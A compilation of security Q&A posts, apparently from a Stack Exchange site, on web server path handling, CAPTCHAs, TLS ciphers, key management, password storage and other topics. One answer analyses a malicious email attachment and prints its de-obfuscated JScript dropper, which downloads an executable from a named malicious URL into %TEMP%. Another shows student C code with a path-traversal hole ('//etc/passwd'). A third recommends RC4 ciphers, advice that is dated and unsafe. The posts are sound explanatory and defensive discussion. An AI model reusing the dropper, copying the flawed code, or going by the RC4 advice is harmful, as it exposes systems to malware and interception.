What things should I check for when giving a client control of the filename parameter to C's open() function? I'm doing a school project where we are building a simple web server in C. To implement this I read the first line of the request (all I need for my purposes) and parse the middle string as the file name using strtok. So a typical request would be something like:

GET / HTTP/1.0

and my response code would be something like this:

  // first token is request type
  token = strtok(buffer, " \n\r");
  if(strcmp(token, "GET") != 0) {
    // sendResponse just sends a response to the client
    // with the appropriate headers
    sendResponse(connection, -1, HTTP_11_400, strlen(HTTP_11_400), NULL);
    break;
  }
  char *request_type = token;

  // second token is url
  token = strtok(NULL, " \n\r");
  if(strstr(token, "../") != NULL) {
    sendResponse(connection, -1, HTTP_11_403, strlen(HTTP_11_403), NULL);
    break;
  }
  char *request_url = token;

  // third token is HTTP protocol
  token = strtok(NULL, " \n\r");
  if(strcmp(token, "HTTP/1.0") != 0 && strcmp(token, "HTTP/1.1") != 0) {
    sendResponse(connection, -1, HTTP_11_400, strlen(HTTP_11_400), NULL);
    break;
  }
  char *protocol = token;

  printf("filename: %s\n", request_url);
  if(strcmp(request_url, "/") == 0) {
    request_url = "index.html";
  }
  if(*request_url == '/') {
    request_url = request_url++;
  }
  char* fileType = strrchr(request_url, '.') + sizeof(char);
  fd = open(request_url, O_RDONLY);

As you can see I already check to make sure the client is not able to go up a directory. Looking at my code, I'm basically putting a user-inputted string and trusting the user with it, are there other security features that I should take into account? (I also have to write a paper on this implementation and I think it would be nice to write about security).

This is a deceptively simple question as it boils down to how can paths be be abused. I for one don't claim to know how many ways they can be abused because there are many. Some of them are platform specific and there was no platform mentioned. You aren't doing any matching of paths for access control, passing off control to different handlers based on the path contents or decoding percent encoding so it's a bit simpler.

The main issue I see with your code is the incomplete check for a absolute path. The desire appears to be that only files in the current directory will be returned and hence the stripping off of a leading slash. This is incomplete though as starting the path with more then one slash will allow an attacker to request files outside of the current directory (eg: //etc/passwd). You can fix this by either stripping any number of leading slashes or by preppending the server root path to the request path. Either would do. Both might be wise.

After the open and error checks you should us fstat to do some sanity checking that what you just opened is just a plain file and bail otherwise. Although not likely to be in the server root, you likely don't want to be reading from a device file. Also some platforms (again, not specified in the question) will happily return a stream of dirent structures with simple open of a directory giving the attacker directory listings.

You need to know the potential oddities of the platform you're on as well (your code appears to be posix but it could be a library layer like cygwin). If you're unlucky enough to be running such on windows you need to consider issues such as whether you want to allow access to alternate file streams (:stream suffix). In particular you would need to make sure you're not allowing the attacker to access dos devices names (https://en.wikipedia.org/wiki/Device_file#DOS).

One last pedantic tidbit. strtok is not thread safe. You don't specify in the question if this was a multi-threaded server or not. If so you have a race condition. Even if it's not multi-threaded I'd change your code to use strtok_r. I once saw a apache mod written for 1.3 which did preforked workers ported to 2.x which usually does threads that used strtok. It was perfectly fine solution for 1.3 but the porters didn't notice the issue when they ported it.


CAPTCHAs: How does simple math in cleartext prove you're human? I'm intrigued that many sites use seemingly random numbers with a random operator as a security check to validate that you're not a bot. Forgive my ignorance in captcha technology, but what is stopping the bot from pulling the simple math problem and calculating it on the fly?

Here's a sample I've pulled from a website and brevitized:

Security Question

 4 + 8 =
<input type="hidden" name="bp-security-check-id" value="548bb54471083">
<input type="number" name="bp-security-check" required="required">

CAPTCHAs are one area of computer security where "roll-your-own" can be a good idea.

In order to break a CAPTCHA, a bot needs to be programmed to recognize and solve the CAPTCHA.  For low-volume, low-value sites, the cost to program a bot to handle even a trivial CAPTCHA such as this is greater than the expected value of breaking it.  By the simple expedient of being different, the site operator has eliminated most automated attacks.

Note that a trivial system isn't sufficient to protect a site with any great value, but the benefit of being different remains: a bot operator can't spread the cost of breaking the CAPTCHA over multiple sites.


Windows XP expiry security vulnerability of POS Now that Windows XP will stop being supported by Microsoft, it has become common knowledge that it should be abandoned for a modern operating system in most cases.

However, I have the corner case where I am using Windows XP to run a point of sales system (POS). If I am not going to perform any tasks other than using this POS program and it is behind a firewall that won't let the POS accept incoming connections, is there still a significant risk of the machine being exploited remotely? The article that I linked to seems to have stated that most vulnerabilities are exploited these days by going after web browsers and the like.

There's two areas of risk that you'll need to look at for this.

First, the security risk.  If you have a firewall blocking all inbound connections and the appliance only runs "trusted" code which you validate before loading on to it, and doesn't run anything (like a web browser) that would allow the user to introduce new untrusted code onto the system, then in most circumstances you're probably not at serious risk with this appliance.
Second, is compliance/regulatory risk.  If this is a PoS system does it process card holder data?  If so then you need to worry about PCI compliance and unfortunately compliance doesn't tend to always go purely on risk.  You should ask your QSA about XP and whether it's possible to have a PCI compliance XP system (my non-QSA guess is that it's not as it's an unpatchable unsupported system...)


Is $_SERVER[ ] a safe source of data in PHP? Can I 100% rely on $_SERVER[] to be a safe source of data that I do not need to sanitized like I do $_GET[] and $_POST[]?

This is taken from one of my questions on Stack Overflow: Which $_SERVER variables are safe?

Server controlled

These variables are set by the server environment and depend entirely on the server configuration.

'GATEWAY_INTERFACE'
'SERVER_ADDR'
'SERVER_SOFTWARE'
'DOCUMENT_ROOT'
'SERVER_ADMIN'
'SERVER_SIGNATURE'

Partly server controlled

These variables depend on the specific request the client sent, but can only take a limited number of valid values, since all invalid values should be rejected by the web server and not cause the invocation of the script to begin with. Hence they can be considered reliable.

'HTTPS'
'REQUEST_TIME'
'REMOTE_ADDR' *
'REMOTE_HOST' *
'REMOTE_PORT' *
'SERVER_PROTOCOL'
'HTTP_HOST' †
'SERVER_NAME' †
'SCRIPT_FILENAME'
'SERVER_PORT'
'SCRIPT_NAME'

* The REMOTE_ values are guaranteed to be the valid address of the client, as verified by a TCP/IP handshake. This is the address where any response will be sent to. REMOTE_HOST relies on reverse DNS lookups though and may hence be spoofed by DNS attacks against your server (in which case you have bigger problems anyway). This value may be a proxy, which is a simple reality of the TCP/IP protocol and nothing you can do anything about.

† If your web server responds to any request regardless of HOST header, this should be considered unsafe as well. See How safe is $_SERVER[“HTTP_HOST”]?.
Also see http://shiflett.org/blog/2006/mar/server-name-versus-http-host.

Entirely arbitrary user controlled values

These values are not checked at all and do not depend on any server configuration, they are entirely arbitrary information sent by the client.

'argv', 'argc' (only applicable to CLI invocation, not usually a concern for web servers)
'REQUEST_METHOD' ‡
'QUERY_STRING'
'HTTP_ACCEPT'
'HTTP_ACCEPT_CHARSET'
'HTTP_ACCEPT_ENCODING'
'HTTP_ACCEPT_LANGUAGE'
'HTTP_CONNECTION'
'HTTP_REFERER'
'HTTP_USER_AGENT'
'AUTH_TYPE' §
'PHP_AUTH_DIGEST' §
'PHP_AUTH_USER' §
'PHP_AUTH_PW' §
'PATH_INFO'
'ORIG_PATH_INFO'
'REQUEST_URI' (may contain tainted data)
'PHP_SELF' (may contain tainted data i.e. /index.php/evilstring)
'PATH_TRANSLATED'
any other 'HTTP_' value

‡ May be considered reliable as long as the web server allows only certain request methods.

§ May be considered reliable if authentication is handled entirely by the web server.

The superglobal $_SERVER also includes several environment variables. Whether these are "safe" or not depend on how (and where) they are defined. They can range from completely server controlled to completely user controlled.


WAF logs show plaintext password and login in a POST header sent via HTTPS Scenario

I was monitoring some events from our web application firewall (WAF), Imperva SecureSphere, when a weird one appeared. Here is the client's POST request:

POST some_url   HTTP/1.1
Host: client_url
Content-Type: application/x-www-form-urlencoded
Origin: https://client_url
Accept-Encoding: gzip, deflate
Cookie: Some_cookie
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1
Referer: https://referer_url
Content-Length: 110
Accept-Language: ja-jp
X-CUSTOMER_NAME-PROTOCOL: https
X-Forwarded-For: some_ip_address

isSecure=1
loginId=plain_text_login
loginPasswd=plain_text_passwd <- wait, WHAT!
autoLogin=on
doOutsideLogin=login
corpId=some_id

I'm not an expert at the application level security, but plain text password in a POST request doesn't smell good. Since the WAF acts as a proxy, my client seems to be vulnerable to a MitM attack.

Here is my question

How come the POST information part wasn't encrypted? TLS seems to be used:

isSecure=1
loginId=plain_text_login
loginPasswd=plain_text_passwd <- wait, WHAT!
autoLogin=on
doOutsideLogin=login
corpId=some_id

tl;dr

You're probably seeing plaintext information in the event logs because the WAF decrypts the data as part of its analysis.

  How come the POST information part wasn't encrypted, since TLS seems
  to be used

To be sure we'd need more information about your network setup, but I'll take a guess (as in Serge Ballesta's comment):

The information was encrypted (by the client browser), but it was decrypted by some appliance to better analyse it.

Web application firewalls usually have the ability to not only intercept HTTPS traffic, but to decrypt it, because otherwise they could not meaningfully analyse the traffic. This is called HTTPS inspection. Incidentally, the Imperva WAF (called Imperva SecureSphere Web Application Firewall) happens to offer HTTPS inspection, so most likely it decrypted the traffic itself.

Note that HTTPS inspection is a powerful, but dangerous tool, because it breaks the end-to-end nature of HTTPS, so it should be deployed with care. But that decisions seems to have been taken already in your case...


How to mitigate SSL/TLS Protocol Initialization Vector Implementation Information Disclosure Vulnerability? Disclaimer: I'm not a sysadmin, please try to give your answers in developer friendly language ;)

I'm test scanning a fresh VPS image with Nessus and I'm getting plugin 58751. I tried figuring out what to do and tried with different SSLCipherSuite settings in the Apache ssl.conf but I keep getting it.

The image doesn't include openssl 1.0.1 yet, so it doesn't support TLS 1.2.

What are the recommended working settings? Or what am I doing wrong?

Please suggest possible values for that specific mod_ssl configuration parameter, like:

SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW

Which is not a good one, I understand.

What does this nonsense all mean? What can I do about TLS 1.0 javascript injection vulnerability on my server?

What should I change to? Should I ignore the BEAST SSL exploit and continue to prefer AES?

An in-depth look at different cipher selections and their impact: What ciphers should I use in my web server after I configure my SSL certificate?

The cipher string

Let's take that information and inspect the default Apache cipher string as it stands while I write this:

SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP

That basically allows any cipher that authenticates. Anonymous Diffie-Hellman exchanges (ADH) are excluded from consideration (!), but everything else is just piled on there. In fact, given the ALL right at the start, only !ADH is having an effect. Everything is already included. Export ciphers, low quality ciphers (40/56 bit, etc) are all fair game for negotiating.

If we want to be very simple, RC4 (symmetric), RSA (asymmetric exchange and signing), and SHA1 (symmetric hash) are universally supported. RC4 has some academic weaknesses, but it's immune to the BEAST attack and it's also what my browser negotiates to talk to Google.

SSLCipherSuite 'ECDHE-RSA-RC4-SHA:RC4+SHA1+RSA'

Verify:

 $ openssl ciphers -v 'ECDHE-RSA-RC4-SHA:RC4+SHA1+RSA'
 ECDHE-RSA-RC4-SHA       SSLv3 Kx=ECDH     Au=RSA  Enc=RC4(128)  Mac=SHA1
 RC4-SHA                 SSLv3 Kx=RSA      Au=RSA  Enc=RC4(128)  Mac=SHA1

That takes care of set it and forget it. I put ECDHE-RSA-RC4-SHA in front because I'm a fan of using perfect forward secrecy, but it's not universally supported.

For future reference, though, here are some other things to look at if you're building a string that specifies ciphers generically:

No weak "export" ciphers: !EXP
No unauthenticated Diffie-Hellman exchanges: !ADH
We're not using a pre-shared key, so !PSK

Add on the ciphers that interest you afterward that. Use further exclusions if you need to limit something. Select specific combinations using the + sign instead of the colon. For example:

$ openssl ciphers -v '!ADH:AES+DH'
DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1
DHE-DSS-AES256-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA1
DHE-RSA-AES128-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA1
DHE-DSS-AES128-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA1

is every different from:

$ openssl ciphers -v '!ADH:AES:DH'
ECDHE-RSA-AES256-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(256)  Mac=SHA1
ECDHE-ECDSA-AES256-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(256)  Mac=SHA1
DHE-RSA-AES256-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(256)  Mac=SHA1
DHE-DSS-AES256-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(256)  Mac=SHA1
AECDH-AES256-SHA        SSLv3 Kx=ECDH     Au=None Enc=AES(256)  Mac=SHA1
ECDH-RSA-AES256-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(256)  Mac=SHA1
ECDH-ECDSA-AES256-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(256)  Mac=SHA1
AES256-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(256)  Mac=SHA1
PSK-AES256-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(256)  Mac=SHA1
ECDHE-RSA-AES128-SHA    SSLv3 Kx=ECDH     Au=RSA  Enc=AES(128)  Mac=SHA1
ECDHE-ECDSA-AES128-SHA  SSLv3 Kx=ECDH     Au=ECDSA Enc=AES(128)  Mac=SHA1
DHE-RSA-AES128-SHA      SSLv3 Kx=DH       Au=RSA  Enc=AES(128)  Mac=SHA1
DHE-DSS-AES128-SHA      SSLv3 Kx=DH       Au=DSS  Enc=AES(128)  Mac=SHA1
AECDH-AES128-SHA        SSLv3 Kx=ECDH     Au=None Enc=AES(128)  Mac=SHA1
ECDH-RSA-AES128-SHA     SSLv3 Kx=ECDH/RSA Au=ECDH Enc=AES(128)  Mac=SHA1
ECDH-ECDSA-AES128-SHA   SSLv3 Kx=ECDH/ECDSA Au=ECDH Enc=AES(128)  Mac=SHA1
AES128-SHA              SSLv3 Kx=RSA      Au=RSA  Enc=AES(128)  Mac=SHA1
PSK-AES128-CBC-SHA      SSLv3 Kx=PSK      Au=PSK  Enc=AES(128)  Mac=SHA1
DHE-RSA-CAMELLIA256-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(256) Mac=SHA1
DHE-DSS-CAMELLIA256-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(256) Mac=SHA1
EDH-RSA-DES-CBC3-SHA    SSLv3 Kx=DH       Au=RSA  Enc=3DES(168) Mac=SHA1
EDH-DSS-DES-CBC3-SHA    SSLv3 Kx=DH       Au=DSS  Enc=3DES(168) Mac=SHA1
DHE-RSA-SEED-SHA        SSLv3 Kx=DH       Au=RSA  Enc=SEED(128) Mac=SHA1
DHE-DSS-SEED-SHA        SSLv3 Kx=DH       Au=DSS  Enc=SEED(128) Mac=SHA1
DHE-RSA-CAMELLIA128-SHA SSLv3 Kx=DH       Au=RSA  Enc=Camellia(128) Mac=SHA1
DHE-DSS-CAMELLIA128-SHA SSLv3 Kx=DH       Au=DSS  Enc=Camellia(128) Mac=SHA1
EDH-RSA-DES-CBC-SHA     SSLv3 Kx=DH       Au=RSA  Enc=DES(56)   Mac=SHA1
EDH-DSS-DES-CBC-SHA     SSLv3 Kx=DH       Au=DSS  Enc=DES(56)   Mac=SHA1
EXP-EDH-RSA-DES-CBC-SHA SSLv3 Kx=DH(512)  Au=RSA  Enc=DES(40)   Mac=SHA1 export
EXP-EDH-DSS-DES-CBC-SHA SSLv3 Kx=DH(512)  Au=DSS  Enc=DES(40)   Mac=SHA1 export

Is this a worthy issue?

We're weighing academic vulnerabilities. RC4 is academically weaker than AES. AES is academically weaker if you get the client to run undesired code.

It's good to be informed of risks, but after doing some searching people are coming across this issue as a result of PCI-DSS scans. The auditor is seeing this in their automated tool and reacting. If the end user is running undesired code, then a greater root issue happened: Your site is compromised through something like XSS and you need to fix that or their machine is compromised (directly or running cross-site code from another site) and the attacker can probably run even more malicious software. Modern browsers should be adapting by kicking out a one byte packet at the start of the connection to crank the padding up and negate the attack too.

In a lot of ways, it's really on the client here. If you're going to concern yourself with client privacy, ensuring your site is not compromised is the higher order issue in my mind. Given that, SSL doesn't do a lot to help a client that is running something locally malicious, so now we're back to looking at the stronger AES cipher.

... but, to pass the audit without an argument and watch your customers' backs (basically what Google is trying to do to some margin), RC4 gets you there today. Hopefully a higher version of TLS gets everybody there tomorrow, but that progress is practically glacial.


NaCL: Encrypt file to multiple recipients I am trying to understand the Networking And Cryptography Library (NaCL).

Consider i have a file that i want to send to multiple recipients. PGP or S/MIME supports multiple recipients by encrypting the file with a single symmetric key and encrypting this symmetric key with the public keys of the recipients. is this task easily achieved with NaCL as well? How? Thanks for hints.

Update
One idea i had is to do it similar to pgp. Calculate the exchange keys of my own private key and the public keys of the recipients. Create one symmetric key. Encrypt file file symmetric key. Encrypt symmetric key with each exchange key. send encrypted file and encrypted symmetric key to recipient.

The main reason for this: i want to upload the encrypted file only once to a server where the recipients can download them.

The actual format of NaCL's output is not completely specified -- or, rather, it is specified as being the raw output from some cryptographic primitives (as described there). The format is thus non-extensible and does not include any feature supporting multiple recipients. Ability to send a message to multiple recipient appears to be a functionality that has been sacrificed on the altar of simplicity.

If you want to use NaCL and still send a single message to multiple recipients without duplicating the bulk of the data, then you must design your own format, basically doing this:

You generate a random secret key K.
You use K to encrypt the message (with crypto_secretbox).
You encrypt K as if it was the "message" with crypto_box.

But then you are defining your own protocol, built over existing primitives. This is the exact kind of things that NaCL was meant to prevent. Or, said otherwise, if you are back to doing your own protocol design then why would you use NaCL ? And, in any case, you would be on your own, both for the security analysis and the implementation (since you would not interoperate with anybody else).

If what you need is what OpenPGP provides, then use OpenPGP.


Should I stop using DSA key algorithm self-signed certificates in production in favor of RSA Certificates? We use a self-signed certificate with DSA key algorithm (and RSA signature algorithm) for securing a Kafka cluster in production. The access to the Kafka servers is already limited (by firewall) by allowing access only to specific IP subnets. The certificate generation and configs as done as mentioned in https://docs.confluent.io/2.0.0/kafka/ssl.html

But, someone strongly suggested moving to certs with RSA key algorithm and made it sound like a serious vulnerability. From reading multiple answers (like this
Is the use of DSA keys a security risk?) I don't find it that bad. Should we move to RSA based cert stopping everything else we are doing?

I'm looking for a suggestion based on best practices, as I could not find proper guidelines or standards.

RSA is generally considered to be a better idea simply because it is less fragile than DSA. When used properly, they are both equally secure. The problem stems from the fact that DSA signatures, if created on a system with insufficient entropy, can leak the private key. All it takes is for this to happen once. RSA does not have this issue. So yes, best practices are to use RSA instead of DSA, if possible.

Make sure you pin the fingerprint (since you said the certificates were self-signed), and use keys that are at least 2048 bits in size. This goes for both RSA and DSA. If moving to RSA would be problematic, then there's really no rush. DSA is simply fragile and not an ideal choice, but is not cryptographically broken.

If you have control over the signing code, you can use RFC 6979 to create signatures in a deterministic manner without risking loss of the private key in the event that only poor randomness is available.


If I browse a website over HTTPS using a VPN, can the data be sniffed somehow? I bought yesterday a flight from an American website. In my country, tickets are too expensive. Therefore, I used a IPVanish VPN to browse the airline website. It appears as if I visited it from New York.

Lower prices, much happiness. However, I paid with credit card and got the flight, but after 6 hours, my card was cloned in the USA and blocked.

I am not sure that my credit card was cloned yesterday. It might have been cloned months ago and by coincidence used yesterday for the first time.

So, I am asking you this question:

I browsed the website and paid all the time through HTTPS. Considering that I was using a VPN, is a "man in the middle" attack possible in this case?
Could the data have been sniffed by the VPN provider or by anybody else sniffing the line?

I want to understand whether is it impossible that my credit card data were caught yesterday or there's a small chance.

IMPORTANT EDIT:

Please avoid answers like "are you sure the card was cloned?". We are 100% sure the card was cloned. In fact, what's suspicious is not the ticket purchase (which went fine and did not alert the bank), but a POS transaction in USA of 7USD which occurred 5 hours later. Considering i live in Italy it's impossible for me to physical pay with a POS in USA, so the bank blocked the card and i confirm they did good because i never bought anything for 7USD a 4.00AM on the other side of the world.

If you really used proper end-to-end HTTPS then nobody in between your client and the server could sniff it, no matter if VPN or not. Of course this means that there is a proper certificate validation and you did not skip warnings about invalid certificates.

Thus I would consider it more probably that the data were sniffed either before they got encrypted or after they got decrypted, i.e. outside the HTTPS tunnel. This could be attacks like this:

The server of the merchant was hacked and the card data leaked to the attacker. Or the data leak was at the card processor.
Or data leakage at your own computer, i.e. some browser extension or other kind of malware which grabs the credit card information before they get encrypted with HTTPS.
Or you got tricked into visiting the wrong site. If you are looking for the cheapest price it might be that you simply got tricked into visiting a good and trustable looking web site which was not so good and safe at the end. It might be that the shop simply could offer the cheap prices because it then used the card data in another way too.

Note that using HTTPS just make sure that nobody in between can read the data. It says nothing how trusted a site will be and how good the security at the side is. Everybody can get a certificate for it's site, even bad guys. And it does not help if your own system is insecure.


What is the Javascript trying to do/exploit? I found the following javascript in a .zip attachment to an email. (Said zip file was opened on a new KVM virtual machine with none of my data on it while running an Ubuntu LiveCD session. Just to be as safe as I reasonable can).

http://paste.ubuntu.com/16040453

Can someone give me an idea of what is trying to be pulled off here?

(I wrote the author of the email back and asked for a copy of his attachment NOT in a zip, since "lots of viruses are spread by corrupted zip files attached to email, so we won't open them". We'll see what happens.)

As a first step, run the code through a JS beautifier to the code to do some of the escaping.

Note, you'll see several patterns like:

Fake["hostkey" ["replace"](/hostkey/, "write")]

which inside the brackets is equivalent to "hostkey".replace(/hostkey/, "write") which evaluates to just "write" or Fake.write.  Also

The bulk of the activity seems to be in the script written by concatenating a bunch of variables together (line 124 of your file).  Those commands once de-obfuscated a bit are:

var _ = 27570,
    Keyword = "serious";
var multi_resize = 0;
var update_results = "characters_excluding_spaces",
    looks = "search_errors",
    postSelector = "f347";
Dakar = "targetParent", _actual_db_id = "deactivate_plugin", populates = 2;
e032 = "v_path_info", These = "ExpandEnvironmen";
wp_ajax_send_link_to_editor = "x00FF";
places = "tStrings", retries = "menuControl";
list = "http://dermosihhat.abdu", AuthorURI = 1,
    propertychange = "llahaktay.com/image/";
fff8e5 = "flags/.../403.php?";
triplet = "already_has_default",
    sanitize_option_ = "f=404";

textTopHei$ght = function() {
    Keyword = update_results = looks = this;
    Dakar = Keyword["WScript"];
    _actual_db_id = Dakar["CreateObject"]("WScript.Shell");
};
textTopHei$ght();
e032 = _actual_db_id[These + places]("%TEMP%/") + "5w5xGKQ9WE.exe";
try {
    this = "Reformat";
} catch (flush) {
    retries = new update_results["ActiveXObject"]("Msxml2.XMLHTTP.6.0");
}
new_branch = function() {
    retries.open("GET", "http://dermosihhat.abdullahaktay.com/image/flags/.../403.php?f=404", +multi_resize);
    retries.send();
    Dakar.Sleep(1000);
};
new_branch();
slidEvent = function() {
    postSelector = new looks["ActiveXObject"]("ADODB.Stream"));
};
slidEvent();
postSelector.open();
postSelector.type = +AuthorURI;
wp_ajax_send_link_to_editor = postSelector;
wp_ajax_send_link_to_editor.write(retries["ResponseBody"]);
wp_ajax_send_link_to_editor.position = 0;
postSelector["saveToFile"](e032, +populates);
triplet = postSelector;
triplet["close"]();

It seems to be doing a lot of ActiveX stuff (that I am not familiar with) (WScript) as well as making a request to the following malicious URL ( http://dermosihhat.abdullahaktay.com/image/flags/.../403.php?f=404 ) which seems to be a windows/DOS binary.  (It starts with the bytes MZ and has the text "This program cannot be run in DOS mode" near the start.).

So it seems to be using ActiveX to download this executable and trick you into running it, though I don't know what the executable does.  (I'm not a windows user and am not sure of all the details of ActiveX.)


Protecting code injection via chattr on php files? Recently, a website I hosted (a wordpress site) for a friend got hacked and all php pages had added code at the bottom in the form of echo base64_encode(...);. Thus there were unwanted ads on very page.

The webserver is apache2 running suphp.

I imagine a recursive chattr +i on all php files that don't need to be modified/upload by a website would protect against such an attack. Am I right to believe this and would there be any good reason not to do this?

The only reason I can think of is that it makes applying updates painful. However of the server is not running suphp and you apply correct file permission the apache user should not be able to overwrite these files. I've seen attacks like this using stolen ftp credentials so make sure you change those too.


How can I store information securely when I can't use crypt or a hash? I'm creating an application for Google Glass (technically it's Glassware, but whatever). The user will do the following steps when going through setup for the Glassware:

Go to my website, redirected via the Glassware page.
Get redirected to the Google OAuth page so that they can sign in.
Get redirected back to my OAuth Redirect URI (fancy way to say landing page).
Be prompted to go to a third-party website (something like Facebook, Twitter or Instagram, not sure yet).
Go through either the OAuth dance or an authentication dance to get an API key/OAuth key.
Be thankful everything is over.

So now what I have on my hands is a couple of API/OAuth tokens, a UserId internally, and a user's Google ID. I could possibly have a few more points of data, such as CreationDate and such stuff, but none as important as this data.

Now that I have all of this data, it's time to store it. It'll probably be stored in a database such as MySQL. Since I have all of this important data on a user, how do I make it secure so that hackers can't access it? I can't use a hash or PHP's crypt, as the user will not be entering in their password every time I need to use their tokens. In fact, the user will have no username and password specific to my service. I realize this makes it hard to secure, however, storing all of this as plain-text seems insecure... or is it?

So how do I secure a user's tokens when the user has no password associated with my service, and the user isn't going to be logging to the service in every time I need to use their tokens?

Have the client application send an encryption key that was randomly generated during the initial authentication process. Depending on how often you want the user to login, the key could be generated for single session or globally for the client device.

For the server application hold two copies of the authentication tokens - the first copy is encrypted by client key for persistence, the second is unencrypted but transient in the server memory. The second transient copy is deleted after the client hasn't be heard of in a while or has logged out/uninstalled.

This way a hacker with client device access doesn't have the OAuth tokens and can only abuse your specific service. A hacker with server access doesn't have decryption key and hence the OAuth tokens are useless.

However a hacker could simply alter the server application to harvest future OAuth tokens. So the web server should prohibit hot-swapping application deployments without reboot and require a console-supplied password for the server SSL certificate on boot - which the client application explicitly checks instead of the standard catch-all CA trust store.


Does MEGA store my password or decryption key? How do they check the login information I entered is correct or not? Does MEGA store my password or decryption key? How do they check if the login information I enter is correct while only my email address is sent to the server?

I read this article: How can mega store my login details and still be secure?

But I still don't understand a few issues:

How do they verify that the user enters the email / password
correctly? While login information is sent to the server only email
address.
I think they store the encrypted password or the key to decrypt the
password as plain text or vice versa to check if the user
information is entered correctly or not? And I noticed that every
time I log in successfully, the server sends me the same decryption
key, if both the password and the decryption key are encrypted on
the server, how do they send the decrypt key has been decoded for
me?
As far as I "understand", they use AES to encrypt most of the data,
RSA just to create shared links (to people, emails, ...) and encrypt
messages. In particular, the user password will act as the key to
decrypt the user data (files, folders, ...) encrypted AES so the
user password will be saved as plain text on the client or server
can be used to decode their data? If user passwords are used to
decrypt their data, what is the key to decrypt their passwords?
Created when? Where to be stored? And is it encrypted?

I want to apologize in advance if my question is silly or confusing and my ability to use English is also not good.

Any of your answers that help me understand the problem would be appreciated.

Have a look at this, it's actually quite descriptive: https://mega.nz/SecurityWhitepaper.pdf
Also mind you the link you mentioned is over 7 years old, things will have changed since then.

  How do they verify that the user enters the email / password correctly? While login information is sent to the server only email address.

When you create your account, you send information to the server that can be re-calculated using your password. As far as I understood from the documentation, when you login, a string is calculated from your password that is sent to the server as form of authentication token to be matched on their side. Something akin to sending the password for them to compare the hash, except the hash would have been calculated on the client side (this is not accurate, just a simplified example).
If you don't always have to enter your password, that's because you're caching this authentication token.

  I think they store the encrypted password or the key to decrypt the password as plain text or vice versa to check if the user information is entered correctly or not? And I noticed that every time I log in successfully, the server sends me the same decryption key, if both the password and the decryption key are encrypted on the server, how do they send the decrypt key has been decoded for me?

Your question is a bit confusing. And I am not aware of the implementation details of mega, so I may be off the mark here.
* It is possible that the service sends you AES keys for handling your files, although I find this simplistic and unlikely. Moreover it is also unlikely (and unnecessary) that they would hold this key in plain text;
* They almost certainly do not hold a cleartext version of your password. There's no reason to do that;
* It is possible that they hold copies of encryption keys in such a way that they can't be used to decrypt your files. Using asymmetric cryptography you are able to pull in the encrypted AES key and decrypted with key material that only you possess (calculated at the time of registration). Also notice that you would be dealing with multiple AES keys, not just one;
  * It is possible to have the system built in such a way that they are physically unable to decrypt your files simply because they do not have enough key material to do so. Ever. This is called zero-knowledge encryption and is incredibly rare and tricky to implement correctly; Boxcryptor and Spideroak aim to do exactly this and as far as I understand have got the right concepts in place. Check out their documentation.

  As far as I "understand", they use AES to encrypt most of the data, RSA just to create shared links (to people, emails, ...) and encrypt messages.

AES to encrypt information. RSA to securely exchange keys. Shared links are probably generated out of random data, it does not need to be decoded or decrypted, just very difficult to guess.

  In particular, the user password will act as the key to decrypt the user data (files, folders, ...) encrypted AES so the user password will be saved as plain text on the client or server can be used to decode their data?

Generally user passwords are used to calculate "data" using algorithms like PBKDF2, etc. But rarely is this material used as keys directly, since otherwise you would not be able to change passwords or else the keys would change and you'd loose the ability to decrypt your information. There is never a requirement to store passwords in plain text anywhere.

  If user passwords are used to decrypt their data, what is the key to decrypt their passwords? Created when? Where to be stored? And is it encrypted?

In order to securely share encrypted data, you need to use unique AES keys that are then shared to the list of recipients you assign. To distribute this key securely, you'd need to use their RSA asymmetric keys.

For example Data1 to be shared with users 1, 7 and 9 is encrypted with key AES1 [let's call it AES1(Data1)] and sent to each recipient respectively encrypted with their RSA public keys [RSA_P1(AES1), RSA_P7(AES1), RSA_P9(AES1)]. Each recipient is able to decrypt the AES1 key by applying their private keys [AES1=RSA_p9(RSA_P9(AES1))] thus being able to decrypt AES1(Data1) since Data1=AES1(AES1(Data1)).


What are the pros and cons of using a password safe instead of writing passwords on paper? Many companies have policy again writing passwords and paper and I wonder if there reasoning is sound. Is it always better to use a software password safe than writing passwords on paper? Here are some pros and cons I can think of:

Software password safe

pros
 - easy organization
 - convenient
 - can backup  (however you can write the password on two pieces of paper)
 - can share via internet (paper you can share but only with people physically there)

cons
 - if computer is unusable passwords are lost
 - if vulnerability discovered could effect all password safes of the make
 - obvious target (e.g. crook breaks in a computer is an obvious target, if he finds a password safe obviously passwords are inside)

Paper

pros
 - cannot be stolen remotely
 - no intrinsic parts therefore always able to use i.e. won't break down like computers do
 - if forgotten where placed, given time the chances of someone looking for it finding it increase. In contrast if a person forgot a password to the password safe the longer they don't remember it the less likely they will remember it.

cons
 - if too many passwords and lots of paper things can get messy
 - typically a lock on a drawer used to secure the paper is easier to break than most techniques used to crack encrypted data

The biggest advantage of a software password vault over writing it down on paper is that the data is encrypted with a secret that you store in your head. If the secret (password) is strong enough, it should be next to impossible for an attacker to break into it through bruteforce. The other benefits you list such as easy to search, organize, backup and distribute are just secondary benefits IMO.

